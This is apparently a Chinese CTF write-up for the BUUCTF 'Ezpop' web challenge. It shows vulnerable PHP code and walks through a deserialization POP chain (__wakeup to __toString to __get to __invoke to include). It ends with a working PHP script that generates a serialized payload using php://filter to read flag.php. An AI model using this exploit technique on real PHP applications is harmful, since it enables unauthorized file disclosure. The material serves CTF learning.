继续简单粗暴的源码审计,看见这么多魔法方法,就知道反序列化没跑了

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){ //$value要可控include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){//构造时是index.php$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//过滤echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

利用点在include函数里,目标是要调用到Modifier的append函数。
先看一下几个魔法方法的触发方法:
invoke函数:对象本身当成函数执行时,就会回调执行invoke()方法
get函数:在访问获得类中成员变量时触发
wakeup函数:在反序列化时调用
toString函数:类被当成字符串时的回应方法
construct函数:在对象创建时被调用的方法

要调用到Modifier的append函数,需要触发invoke函数,那么反推出Modifier类对象要被当成函数调用,$var是要调用读取的flag文件地址
通过比对,将目标确定在了__get()方法的return值上,如果$function=Modifier,那么就会成功调用到Modifier的invoke方法
同理,我们需要触发__get方法,而Test类里可供选择的只有一个$p,而且是public,那就直接访问就好了。如果我们得到一个Test类->p=Modifier
那么怎么触发这个调用链呢,如果直接序列化一个Test对象,他在反序列化的时候肯定不会自己去调用__get方法
于是继续往前推,看起来触发点是Show类里的__wakeup()方法,我们要通过这个__wakeup()方法让他去触发Test类里的__get方法,怎么触发呢
preg_match的两个比较对象必须都是字符串,如果是类,会自动调用__toString方法,将类转换为字符串。
假设$this->source直接是Test对象,他会直接调用Object的__toString,因为Test对象并没有重写__toString
但是如果$this->source是一个Show对象呢?它会调用自身的__toString,尝试访问$this->str->source。$this->str是一个Test对象的话,
所有调用链都通了

下面正向分析一下:
POP是一个SHOW对象,他反序列化的时候会调用__wakeup方法,他的source属性还是一个show对象,因此在进行preg_match的时候会自动
调用自己重写的to_String方法,那么如果show类的str属性是一个Test()类对象的化,去读取他的source属性是不存在的,从而触发了Test类的
get方法。Test类里的p对象是Modifier对象,因为返回值是一个方法,所以就会触发Modifier对象的invoke方法
那么脚本就很好写了。

<?php
class Modifier {protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;}class Show{public $source;public $str;public function __construct($file){$this->source = $file;}public function __toString(){return $this->str->source;}
}class Test{public $p;
}$a = new Show();//a是里层show对象,为了触发toString方法
$a->str = new Test();//利用里层toString里面的source去触发Test类的get方法
$a->str->p = new Modifier();//触发invoke方法
$b = new Show($a);//b是外层show对象
echo urlencode(serialize($b));
?>

参考视频链接:https://www.bilibili.com/video/BV1cD4y1w7Jz/

BUUCTF WEB Ezpop相关推荐

  1. BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此

    BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...

  2. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  3. BUUCTF WEB [BSidesCF 2020]Had a bad day

    BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...

  4. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  5. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  6. BUUCTF WEB [BJDCTF2020]The mystery of ip

    BUUCTF WEB [BJDCTF2020]The mystery of ip 在hint.php中找到一句注释 <!-- Do you know why i know your ip? -- ...

  7. BUUCTF WEB [极客大挑战 2019]LoveSQL

    BUUCTF WEB [极客大挑战 2019]LoveSQL 进入靶机后尝试万能密码登录 admin 123' or '1'='1 获得flag Login Success! Hello admin! ...

  8. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  9. BUUCTF web(一)

    前言:最近参加了一场CTF比赛,菜的一批,接下来多练习web题.MISC.密码学,多思考,提高一下自己做题的思路,以及代码审计.编写脚本的能力. [HCTF 2018]WarmUp 查看源码,发现&l ...

  10. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

最新文章

  1. Ubuntu使用QCustomPlot简介
  2. Python scapy库监听网卡,抓取HTTP包
  3. quality center 支持的平台
  4. 测试系列之六---软件测试分类
  5. log4j配置目标到mongodb
  6. python气象数据处理与绘图_Python气象数据处理与绘图:纬高图的另一种思路
  7. android获取3g或wifi流量信息,Android代碼----android獲取3G或wifi流量信息
  8. C++雾中风景12:聊聊C++中的Mutex,以及拯救生产力的Boost
  9. i5功耗最低的cpu_近年最大飞跃 Intel第11代低功耗酷睿处理器官宣:集显2倍、AI乘4...
  10. Android工具箱之文件目录
  11. ps安装 Photoshop CC2017 安装,cutterman下载安装,ps简单设置
  12. PCB绘制成长日记1
  13. 笔记本换SSD固态硬盘,系统速度可以提升吗?
  14. QQ安装包内置UE4是什么意义呢?会不会是奔着元宇宙,搭载了虚幻引擎的QQ在渲染数字孪生上表现更强劲?
  15. 爱因斯坦:培养独立思考的教育
  16. zoho邮箱收信服务器,配置邮件交付 - Zoho Mail 设置
  17. android图片系统解决方案-从采集到显示
  18. 数据结构分析之线性哈希表(Linear Hash Tables)
  19. 安全研究人员发现新的Android恶意软件:已感染1000多万部安卓手机
  20. 毕业设计 嵌入式 扫地机器人系统

热门文章

  1. 计算机操作系统核心知识点总结面试笔试要点
  2. 利用MDTools和Hydraw设计专业的液压阀块
  3. 深度学习--十折交叉验证
  4. Keras入门(八)K折交叉验证
  5. 警惕:ERP系统不堪重负的几大预警信号
  6. 计算机云教室,希望云教室电脑版
  7. 学习 vi —— “学习清单”式
  8. 最小可分辨温差四杆靶空间频率选择
  9. 机器人动力学(牛顿欧拉推导)
  10. libyuv 海思平台编译测试